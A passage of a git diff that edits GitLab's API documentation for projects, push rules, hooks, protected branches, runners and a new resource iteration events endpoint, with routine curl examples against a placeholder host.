before specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ | -| `repository_storage` | string | no | Limit results to projects stored on repository_storage. Available for admins only. | NOTE: **Note:** This endpoint supports [keyset pagination](README.md#keyset-based-pagination) for selected `order_by` options. @@ -295,9 +295,10 @@ When the user is authenticated and `simple` is not set this returns something li ``` NOTE: **Note:** -For users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) the `marked_for_deletion_at` attribute has been deprecated and will be removed in API v5 in favor of the `marked_for_deletion_on` attribute. +For users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) the `marked_for_deletion_at` +attribute has been deprecated and will be removed in API v5 in favor of the `marked_for_deletion_on` attribute. -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `approvals_before_merge` parameter: ```json @@ -319,9 +320,9 @@ GET /projects?custom_attributes[key]=value&custom_attributes[other_key]=other_va ### Pagination limits -From GitLab 13.0, [offset-based pagination](README.md#offset-based-pagination) will be +In GitLab 13.0 and later, [offset-based pagination](README.md#offset-based-pagination) is [limited to 50,000 records](https://gitlab.com/gitlab-org/gitlab/-/issues/34565). -[Keyset pagination](README.md#keyset-based-pagination) will be required to retrieve projects +[Keyset pagination](README.md#keyset-based-pagination) is required to retrieve projects beyond this limit. Note that keyset pagination only supports `order_by=id`. Other sorting options are not available. @@ -918,7 +919,7 @@ GET /projects/:id } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `approvals_before_merge` parameter: ```json @@ -933,7 +934,7 @@ the `approvals_before_merge` parameter: **Note**: The `web_url` and `avatar_url` attributes on `namespace` were [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/27427) in GitLab 11.11. If the project is a fork, and you provide a valid token to authenticate, the -`forked_from_project` field will appear in the response. +`forked_from_project` field appears in the response. ```json { @@ -1031,7 +1032,7 @@ POST /projects | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `name` | string | yes if path is not provided | The name of the new project. Equals path if not provided. | -| `path` | string | yes if name is not provided | Repository name for new project. Generated based on name if not provided (generated lowercased with dashes). | +| `path` | string | yes if name is not provided | Repository name for new project. Generated based on name if not provided (generated as lowercase with dashes). | | `namespace_id` | integer | no | Namespace for the new project (defaults to the current user's namespace) | | `default_branch` | string | no | `master` by default | | `description` | string | no | Short project description | @@ -1072,7 +1073,7 @@ POST /projects | `build_timeout` | integer | no | The maximum amount of time in minutes that a job is able run (in seconds) | | `auto_cancel_pending_pipelines` | string | no | Auto-cancel pending pipelines (Note: this is not a boolean, but enabled/disabled | | `build_coverage_regex` | string | no | Test coverage parsing | -| `ci_config_path` | string | no | The path to CI config file | +| `ci_config_path` | string | no | The path to CI configuration file | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for this project | | `auto_devops_deploy_strategy` | string | no | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`) | | `repository_storage` | string | no | Which storage shard the repository is on. Available only to admins | @@ -1144,7 +1145,7 @@ POST /projects/user/:user_id | `build_timeout` | integer | no | The maximum amount of time in minutes that a job is able run (in seconds) | | `auto_cancel_pending_pipelines` | string | no | Auto-cancel pending pipelines (Note: this is not a boolean, but enabled/disabled | | `build_coverage_regex` | string | no | Test coverage parsing | -| `ci_config_path` | string | no | The path to CI config file | +| `ci_config_path` | string | no | The path to CI configuration file | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for this project | | `auto_devops_deploy_strategy` | string | no | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`) | | `repository_storage` | string | no | Which storage shard the repository is on. Available only to admins | @@ -1215,7 +1216,7 @@ PUT /projects/:id | `build_timeout` | integer | no | The maximum amount of time in minutes that a job is able run (in seconds) | | `auto_cancel_pending_pipelines` | string | no | Auto-cancel pending pipelines (Note: this is not a boolean, but enabled/disabled | | `build_coverage_regex` | string | no | Test coverage parsing | -| `ci_config_path` | string | no | The path to CI config file | +| `ci_config_path` | string | no | The path to CI configuration file | | `ci_default_git_depth` | integer | no | Default number of revisions for [shallow cloning](../ci/pipelines/settings.md#git-shallow-clone) | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for this project | | `auto_devops_deploy_strategy` | string | no | Auto Deploy strategy (`continuous`, `manual` or `timed_incremental`) | @@ -1240,7 +1241,7 @@ where `password` is a public access key with the `api` scope enabled. Forks a project into the user namespace of the authenticated user or the one provided. The forking operation for a project is asynchronous and is completed in a -background job. The request will return immediately. To determine whether the +background job. The request returns immediately. To determine whether the fork of the project has completed, query the `import_status` for the new project. ```plaintext @@ -1250,11 +1251,11 @@ POST /projects/:id/fork | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `namespace` | integer/string | no | (deprecated) The ID or path of the namespace that the project will be forked to | -| `namespace_id` | integer | no | The ID of the namespace that the project will be forked to | -| `namespace_path` | string | no | The path of the namespace that the project will be forked to | -| `path` | string | no | The path that will be assigned to the resultant project after forking | -| `name` | string | no | The name that will be assigned to the resultant project after forking | +| `namespace` | integer/string | no | (deprecated) The ID or path of the namespace that the project is forked to | +| `namespace_id` | integer | no | The ID of the namespace that the project is forked to | +| `namespace_path` | string | no | The path of the namespace that the project is forked to | +| `path` | string | no | The path assigned to the resultant project after forking | +| `name` | string | no | The name assigned to the resultant project after forking | ## List Forks of a project @@ -1614,8 +1615,8 @@ Example response: ## Archive a project -Archives the project if the user is either admin or the project owner of this project. This action is -idempotent, thus archiving an already archived project will not change the project. +Archives the project if the user is either an administrator or the owner of this project. This action is +idempotent, thus archiving an already archived project does not change the project. ```plaintext POST /projects/:id/archive @@ -1724,8 +1725,8 @@ Example response: ## Unarchive a project -Unarchives the project if the user is either admin or the project owner of this project. This action is -idempotent, thus unarchiving a non-archived project will not change the project. +Unarchives the project if the user is either an administrator or the owner of this project. This action is +idempotent, thus unarchiving a non-archived project does not change the project. ```plaintext POST /projects/:id/unarchive @@ -1838,15 +1839,15 @@ This endpoint: - Deletes a project including all associated resources (issues, merge requests etc). - From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, -group admins can [configure](../user/group/index.md#enabling-delayed-project-removal-premium) projects within a group +group admins can [configure](../user/group/index.md#enabling-delayed-project-removal) projects within a group to be deleted after a delayed period. When enabled, actual deletion happens after the number of days -specified in the [default deletion delay](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only). +specified in the [default deletion delay](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). CAUTION: **Warning:** The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) -in GitLab 13.2, as discussed in [Enabling delayed project removal](../user/group/index.md#enabling-delayed-project-removal-premium). +in GitLab 13.2, as discussed in [Enabling delayed project removal](../user/group/index.md#enabling-delayed-project-removal). ```plaintext DELETE /projects/:id @@ -1880,12 +1881,12 @@ POST /projects/:id/uploads | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `file` | string | yes | The file to be uploaded | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -To upload a file from your filesystem, use the `--form` argument. This causes +To upload a file from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. -The `file=` parameter must point to a file on your filesystem and be preceded +The `file=` parameter must point to a file on your file system and be preceded by `@`. For example: ```shell @@ -1917,10 +1918,10 @@ POST /projects/:id/share | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `group_id` | integer | yes | The ID of the group to share with | -| `group_access` | integer | yes | The [access level](members.md#valid-access-levels) to grant the group | | `expires_at` | string | no | Share expiration date in ISO 8601 format: 2016-09-26 | +| `group_access` | integer | yes | The [access level](members.md#valid-access-levels) to grant the group | +| `group_id` | integer | yes | The ID of the group to share with | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | ## Delete a shared project link within a group @@ -1932,8 +1933,8 @@ DELETE /projects/:id/share/:group_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `group_id` | integer | yes | The ID of the group | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17" @@ -1966,8 +1967,8 @@ GET /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `hook_id` | integer | yes | The ID of a project hook | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | ```json { @@ -2001,22 +2002,22 @@ POST /projects/:id/hooks | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | +| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events | +| `confidential_note_events` | boolean | no | Trigger hook on confidential note events | +| `deployment_events` | boolean | no | Trigger hook on deployment events | +| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `url` | string | yes | The hook URL | -| `push_events` | boolean | no | Trigger hook on push events | -| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only | | `issues_events` | boolean | no | Trigger hook on issues events | -| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events | +| `job_events` | boolean | no | Trigger hook on job events | | `merge_requests_events` | boolean | no | Trigger hook on merge requests events | -| `tag_push_events` | boolean | no | Trigger hook on tag push events | | `note_events` | boolean | no | Trigger hook on note events | -| `confidential_note_events` | boolean | no | Trigger hook on confidential note events | -| `job_events` | boolean | no | Trigger hook on job events | | `pipeline_events` | boolean | no | Trigger hook on pipeline events | +| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only | +| `push_events` | boolean | no | Trigger hook on push events | +| `tag_push_events` | boolean | no | Trigger hook on tag push events | +| `token` | string | no | Secret token to validate received payloads; this is not returned in the response | +| `url` | string | yes | The hook URL | | `wiki_page_events` | boolean | no | Trigger hook on wiki events | -| `deployment_events` | boolean | no | Trigger hook on deployment events | -| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | ### Edit project hook @@ -2028,23 +2029,23 @@ PUT /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | +| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events | +| `confidential_note_events` | boolean | no | Trigger hook on confidential note events | +| `deployment_events` | boolean | no | Trigger hook on deployment events | +| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | | `hook_id` | integer | yes | The ID of the project hook | -| `url` | string | yes | The hook URL | -| `push_events` | boolean | no | Trigger hook on push events | -| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `issues_events` | boolean | no | Trigger hook on issues events | -| `confidential_issues_events` | boolean | no | Trigger hook on confidential issues events | +| `job_events` | boolean | no | Trigger hook on job events | | `merge_requests_events` | boolean | no | Trigger hook on merge requests events | -| `tag_push_events` | boolean | no | Trigger hook on tag push events | | `note_events` | boolean | no | Trigger hook on note events | -| `confidential_note_events` | boolean | no | Trigger hook on confidential note events | -| `job_events` | boolean | no | Trigger hook on job events | | `pipeline_events` | boolean | no | Trigger hook on pipeline events | +| `push_events_branch_filter` | string | no | Trigger hook on push events for matching branches only | +| `push_events` | boolean | no | Trigger hook on push events | +| `tag_push_events` | boolean | no | Trigger hook on tag push events | +| `token` | string | no | Secret token to validate received payloads; this is not returned in the response | +| `url` | string | yes | The hook URL | | `wiki_events` | boolean | no | Trigger hook on wiki events | -| `deployment_events` | boolean | no | Trigger hook on deployment events | -| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | ### Delete project hook @@ -2057,11 +2058,11 @@ DELETE /projects/:id/hooks/:hook_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `hook_id` | integer | yes | The ID of the project hook | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | Note the JSON response differs if the hook is available or not. If the project hook -is available before it is returned in the JSON response or an empty response is returned. +is available before it's returned in the JSON response or an empty response is returned. ## Fork relationship @@ -2075,8 +2076,8 @@ POST /projects/:id/fork/:forked_from_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `forked_from_id` | ID | yes | The ID of the project that was forked from | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | ### Delete an existing forked from relationship @@ -2100,15 +2101,15 @@ GET /projects | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `search` | string | yes | A string contained in the project name | | `order_by` | string | no | Return requests ordered by `id`, `name`, `created_at` or `last_activity_at` fields | +| `search` | string | yes | A string contained in the project name | | `sort` | string | no | Return requests sorted in `asc` or `desc` order | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects?search=test" ``` -## Start the Housekeeping task for a Project +## Start the Housekeeping task for a project > Introduced in GitLab 9.0. @@ -2153,7 +2154,7 @@ GET /projects/:id/push_rule } ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) can also see the `commit_committer_check` and `reject_unsigned_commits` parameters: ```json @@ -2176,18 +2177,18 @@ POST /projects/:id/push_rule | Attribute | Type | Required | Description | | --------------------------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME | +| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, for example `@my-company.com$` | +| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, for example `(feature|hotfix)\/*` | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. | +| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, for example `ssh\:\/\/` | +| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, for example `Fixed \d+\..*` | | `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | +| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, for example `(jar|exe)$` | +| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME | +| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) | | `member_check` **(STARTER)** | boolean | no | Restrict commits by author (email) to existing GitLab users | | `prevent_secrets` **(STARTER)** | boolean | no | GitLab will reject any files that are likely to contain secrets | -| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, e.g. `ssh\:\/\/` | -| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, e.g. `(feature|hotfix)\/*` | -| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, e.g. `(jar|exe)$` | -| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. | -| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Reject commit when it is not signed through GPG. | +| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Reject commit when it's not signed through GPG. | ### Edit project push rule @@ -2199,17 +2200,17 @@ PUT /projects/:id/push_rule | Attribute | Type | Required | Description | | --------------------------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME | +| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, for example `@my-company.com$` | +| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, for example `(feature|hotfix)\/*` | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. | +| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, for example `ssh\:\/\/` | +| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, for example `Fixed \d+\..*` | | `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | +| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, for example `(jar|exe)$` | +| `id` | integer/string | yes | The ID of the project or NAMESPACE/PROJECT_NAME | +| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) | | `member_check` **(STARTER)** | boolean | no | Restrict commits by author (email) to existing GitLab users | | `prevent_secrets` **(STARTER)** | boolean | no | GitLab will reject any files that are likely to contain secrets | -| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match this, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | No commit message is allowed to match this, e.g. `ssh\:\/\/` | -| `branch_name_regex` **(STARTER)** | string | no | All branch names must match this, e.g. `(feature|hotfix)\/*` | -| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match this, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | All committed filenames must **not** match this, e.g. `(jar|exe)$` | -| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Users can only push commits to this repository that were committed with one of their own verified emails. | | `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Reject commits when they are not GPG signed. | ### Delete project push rule diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md index 8a3ff1b20e7..05d586738d0 100644 --- a/doc/api/protected_branches.md +++ b/doc/api/protected_branches.md @@ -255,7 +255,7 @@ Example response: ### Example with user / group level access **(STARTER)** Elements in the `allowed_to_push` / `allowed_to_merge` / `allowed_to_unprotect` array should take the -form `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}`. Each user must have access to the project and each group must [have this project shared](../user/project/members/share_project_with_groups.md). These access levels allow [more granular control over protected branch access](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users-starter) and were [added to the API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3516) in GitLab 10.3 EE. +form `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}`. Each user must have access to the project and each group must [have this project shared](../user/project/members/share_project_with_groups.md). These access levels allow [more granular control over protected branch access](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users) and were [added to the API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3516) in GitLab 10.3 EE. ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_branches?name=*-stable&allowed_to_push%5B%5D%5Buser_id%5D=1" diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md index a8355fb9009..605284caf06 100644 --- a/doc/api/remote_mirrors.md +++ b/doc/api/remote_mirrors.md @@ -7,7 +7,7 @@ type: reference, api # Project remote mirrors API -[Push mirrors](../user/project/repository/repository_mirroring.md#pushing-to-a-remote-repository-core) +[Push mirrors](../user/project/repository/repository_mirroring.md#pushing-to-a-remote-repository) defined on a project's repository settings are called "remote mirrors", and the state of these mirrors can be queried and modified via the remote mirror API outlined below. diff --git a/doc/api/repository_submodules.md b/doc/api/repository_submodules.md index 9a5dcacbc2f..77f64b178f0 100644 --- a/doc/api/repository_submodules.md +++ b/doc/api/repository_submodules.md @@ -23,13 +23,13 @@ PUT /projects/:id/repository/submodules/:submodule | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `submodule` | string | yes | URL encoded full path to the submodule. For example, `lib%2Fclass%2Erb` | +| `submodule` | string | yes | URL-encoded full path to the submodule. For example, `lib%2Fclass%2Erb` | | `branch` | string | yes | Name of the branch to commit into | | `commit_sha` | string | yes | Full commit SHA to update the submodule to | | `commit_message` | string | no | Commit message. If no message is provided, a default one will be set | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/submodules/lib%2Fmodules%2Fexample" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/submodules/lib%2Fmodules%2Fexample" \ --data "branch=master&commit_sha=3ddec28ea23acc5caa5d8331a6ecb2a65fc03e88&commit_message=Update submodule reference" ``` diff --git a/doc/api/resource_iteration_events.md b/doc/api/resource_iteration_events.md new file mode 100644 index 00000000000..f774cdfe9c7 --- /dev/null +++ b/doc/api/resource_iteration_events.md @@ -0,0 +1,175 @@ +--- +stage: Plan +group: Project Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Resource iteration events API **(STARTER)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40850) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4 +> - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-iterations-events-tracking). + +NOTE: **Note:** +This feature might not be available to you. Check the **version history** note above for details. + +Resource iteration events keep track of what happens to GitLab [issues](../user/project/issues/). + +Use them to track which iteration was set, who did it, and when it happened. + +## Issues + +### List project issue iteration events + +Gets a list of all iteration events for a single issue. + +```plaintext +GET /projects/:id/issues/:issue_iid/resource_iteration_events +``` + +| Attribute | Type | Required | Description | +| ----------- | -------------- | -------- | ------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | +| `issue_iid` | integer | yes | The IID of an issue | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/resource_iteration_events" +``` + +Example response: + +```json +[ + { + "id": 142, + "user": { + "id": 1, + "name": "Administrator", + "username": "root", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon", + "web_url": "http://gitlab.example.com/root" + }, + "created_at": "2018-08-20T13:38:20.077Z", + "resource_type": "Issue", + "resource_id": 253, + "iteration": { + "id": 50, + "iid": 9, + "group_id": 5, + "title": "Iteration I", + "description": "Ipsum Lorem", + "state": 1, + "created_at": "2020-01-27T05:07:12.573Z", + "updated_at": "2020-01-27T05:07:12.573Z", + "due_date": null, + "start_date": null + }, + "action": "add" + }, + { + "id": 143, + "user": { + "id": 1, + "name": "Administrator", + "username": "root", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon", + "web_url": "http://gitlab.example.com/root" + }, + "created_at": "2018-08-21T14:38:20.077Z", + "resource_type": "Issue", + "resource_id": 253, + "iteration": { + "id": 53, + "iid": 13, + "group_id": 5, + "title": "Iteration II", + "description": "Ipsum Lorem ipsum", + "state": 2, + "created_at": "2020-01-27T05:07:12.573Z", + "updated_at": "2020-01-27T05:07:12.573Z", + "due_date": null, + "start_date": null + }, + "action": "remove" + } +] +``` + +### Get single issue iteration event + +Returns a single iteration event for a specific project issue. + +```plaintext +GET /projects/:id/issues/:issue_iid/resource_iteration_events/:resource_iteration_event_id +``` + +Parameters: + +| Attribute | Type | Required | Description | +| ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project | +| `issue_iid` | integer | yes | The IID of an issue | +| `resource_iteration_event_id` | integer | yes | The ID of an iteration event | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/resource_iteration_events/143" +``` + +Example response: + +```json +{ + "id": 143, + "user": { + "id": 1, + "name": "Administrator", + "username": "root", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon", + "web_url": "http://gitlab.example.com/root" + }, + "created_at": "2018-08-21T14:38:20.077Z", + "resource_type": "Issue", + "resource_id": 253, + "iteration": { + "id": 53, + "iid": 13, + "group_id": 5, + "title": "Iteration II", + "description": "Ipsum Lorem ipsum", + "state": 2, + "created_at": "2020-01-27T05:07:12.573Z", + "updated_at": "2020-01-27T05:07:12.573Z", + "due_date": null, + "start_date": null + }, + "action": "remove" +} +``` + +### Enable or disable iterations events tracking **(STARTER)** + +Iterations events tracking is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:track_iteration_change_events) +``` + +To disable it: + +```ruby +Feature.disable(:track_iteration_change_events) +``` diff --git a/doc/api/runners.md b/doc/api/runners.md index 4cda4b723f5..436abe0a706 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -6,30 +6,30 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Runners API -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2640) in GitLab 8.5 +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2640) in GitLab 8.5. ## Registration and authentication tokens -There are two tokens to take into account when connecting a Runner with GitLab. +There are two tokens to take into account when connecting a runner with GitLab. | Token | Description | | ----- | ----------- | -| Registration token | Token used to [register the Runner](https://docs.gitlab.com/runner/register/). It can be [obtained through GitLab](../ci/runners/README.md). | -| Authentication token | Token used to authenticate the Runner with the GitLab instance. It is obtained either automatically when [registering a Runner](https://docs.gitlab.com/runner/register/), or manually when [registering the Runner via the Runners API](#register-a-new-runner). | +| Registration token | Token used to [register the runner](https://docs.gitlab.com/runner/register/). It can be [obtained through GitLab](../ci/runners/README.md). | +| Authentication token | Token used to authenticate the runner with the GitLab instance. It is obtained either automatically when [registering a runner](https://docs.gitlab.com/runner/register/), or manually when [registering the runner via the Runner API](#register-a-new-runner). | -Here's an example of how the two tokens are used in Runner registration: +Here's an example of how the two tokens are used in runner registration: -1. You register the Runner via the GitLab API using a registration token, and an +1. You register the runner via the GitLab API using a registration token, and an authentication token is returned. 1. You use that authentication token and add it to the - [Runner's configuration file](https://docs.gitlab.com/runner/commands/#configuration-file): + [runner's configuration file](https://docs.gitlab.com/runner/commands/#configuration-file): ```toml [[runners]] token = "<authentication_token>" ``` -GitLab and Runner are then connected. +GitLab and the runner are then connected. ## List owned runners @@ -224,7 +224,7 @@ PUT /runners/:id | `run_untagged`| boolean | no | Flag indicating the runner can execute untagged jobs | | `locked` | boolean | no | Flag indicating the runner is locked | | `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` | -| `maximum_timeout` | integer | no | Maximum timeout set when this Runner will handle the job | +| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2" @@ -291,7 +291,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15432) in GitLab 10.3. -List jobs that are being processed or were processed by specified Runner. +List jobs that are being processed or were processed by specified runner. ```plaintext GET /runners/:id/jobs @@ -541,9 +541,9 @@ Example response: ] ``` -## Register a new Runner +## Register a new runner -Register a new Runner for the instance. +Register a new runner for the instance. ```plaintext POST /runners @@ -554,12 +554,12 @@ POST /runners | `token` | string | yes | [Registration token](#registration-and-authentication-tokens). | | `description`| string | no | Runner's description| | `info` | hash | no | Runner's metadata | -| `active` | boolean | no | Whether the Runner is active | -| `locked` | boolean | no | Whether the Runner should be locked for current project | -| `run_untagged` | boolean | no | Whether the Runner should handle untagged jobs | -| `tag_list` | string array | no | List of Runner's tags | +| `active` | boolean | no | Whether the runner is active | +| `locked` | boolean | no | Whether the runner should be locked for current project | +| `run_untagged` | boolean | no | Whether the runner should handle untagged jobs | +| `tag_list` | string array | no | List of runner's tags | | `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` | -| `maximum_timeout` | integer | no | Maximum timeout set when this Runner will handle the job | +| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job | ```shell curl --request POST "https://gitlab.example.com/api/v4/runners" --form "token=<registration_token>" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2" @@ -580,9 +580,9 @@ Example response: } ``` -## Delete a registered Runner 